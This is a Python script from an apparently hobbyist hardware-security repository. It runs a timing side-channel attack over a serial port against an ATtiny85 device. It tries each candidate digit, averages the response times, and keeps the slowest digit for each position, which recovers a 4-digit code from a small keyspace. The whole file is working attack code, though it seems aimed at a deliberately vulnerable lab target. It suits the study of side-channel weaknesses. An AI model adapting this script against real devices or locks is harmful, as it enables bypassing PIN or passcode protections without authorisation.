Newer
Older
Hardware / SideChannel / ATtiny85_Timing_Attack / 4_digit_attack.py
0xRoM on 11 Feb 4 KB initial commit
  1. import serial
  2. import time
  3.  
  4. # Constants
  5. SERIAL_PORT = '/dev/ttyUSB0'
  6. BAUD_RATE = 9600
  7. PREFIX = ""
  8. ATTEMPTS = 3
  9. DELAY = 0.8
  10. KEYSPACE = ["1", "2", "3", "4"]
  11. LENGTH = 4
  12.  
  13. def get_response_time(serial_port, message):
  14. """
  15. Function to send message, wait for response, and measure response time.
  16. """
  17. # Flush the input buffer to clear any leftover data
  18. serial_port.flushInput()
  19.  
  20. first_line_received = False
  21.  
  22. # Send each character in the message with a delay
  23. for i, char in enumerate(message):
  24. time.sleep(DELAY) # Delay before sending the character
  25. serial_port.write(char.encode()) # Send one character at a time
  26. #print(f"sending: {char}")
  27. if i < len(message)-1:
  28. #print(f"reading")
  29. raw_response = serial_port.readline()
  30.  
  31. # After sending all characters, we will read until we get the first line (complete response)
  32. raw_response = b'' # Initialize the response variable
  33.  
  34. while True:
  35. byte = serial_port.read(1) # Read one byte at a time
  36. if byte:
  37. if byte == b'\n' and not first_line_received:
  38. first_line_received = True # The first line has been received
  39. # Do not start timing yet; we need to wait for the next line after the first one
  40. elif first_line_received:
  41. # Start measuring response time after the first line is fully received
  42. start_time = time.time()
  43. break # We begin timing here, immediately after the first line has been read
  44.  
  45. final_response = serial_port.readline().decode(errors='ignore').strip()
  46. # Now read the rest of the response and stop when the second newline is encountered
  47. #final_response = raw_response.decode(errors='ignore').strip() # Decode the response
  48.  
  49. # Measure the time taken for the second line (after the first)
  50. response_time = time.time() - start_time
  51.  
  52. # Debug message to show what was sent, received, and the response time
  53. print(f"\rSent: {message}, Response: {final_response}, Response Time: {response_time:.4f} seconds", end='', flush=True)
  54.  
  55. time.sleep(DELAY)
  56. return final_response, response_time
  57.  
  58. def calculate_average_response_time(serial_port, message):
  59. """
  60. Calculate average response time over multiple attempts.
  61. """
  62. total_time = 0
  63. response_times = []
  64.  
  65. # Try multiple attempts to get the average response time
  66. for _ in range(ATTEMPTS):
  67. response, response_time = get_response_time(serial_port, message)
  68. total_time += response_time
  69. response_times.append(response_time)
  70. average_time = total_time / ATTEMPTS
  71. print(f"\r{message} average: {average_time:.4f} seconds ", flush=True)
  72. return average_time, response_times
  73.  
  74. def identify_sequence(serial_port):
  75. """
  76. Identify the complete sequence of characters by sending test sequences.
  77. """
  78. prefix = ""
  79.  
  80. # Loop over all positions in the sequence (length 4 in this case)
  81. for pos in range(LENGTH):
  82. slowest_avg = float('-inf') # Initialize with the smallest possible number to track the largest value
  83. best_digit = None
  84.  
  85. # Try each character in the keyspace for this position
  86. for key in KEYSPACE:
  87. # Build message for this position
  88. message = prefix + key + key * (LENGTH - len(prefix) - 1)
  89. print(f"Testing: {message}", end='', flush=True)
  90.  
  91. # Get the average response time for this message
  92. avg_time, _ = calculate_average_response_time(serial_port, message)
  93.  
  94. # Track the slowest (highest average response time)
  95. if avg_time > slowest_avg: # Modify comparison to choose the longest time
  96. slowest_avg = avg_time
  97. best_digit = key
  98.  
  99. # Append the best digit found to the prefix
  100. prefix += best_digit
  101. print(f"Best digit for position {pos + 1}: {best_digit} (Average response time: {slowest_avg:.4f} seconds)")
  102.  
  103. return prefix
  104.  
  105. def main():
  106. # Open the serial port
  107. with serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) as serial_port:
  108. print(f"Starting sequence identification on port {SERIAL_PORT}...")
  109. sequence = identify_sequence(serial_port)
  110. print(f"Identified sequence: {sequence}")
  111.  
  112. if __name__ == '__main__':
  113. main()
  114.  
Buy Me A Coffee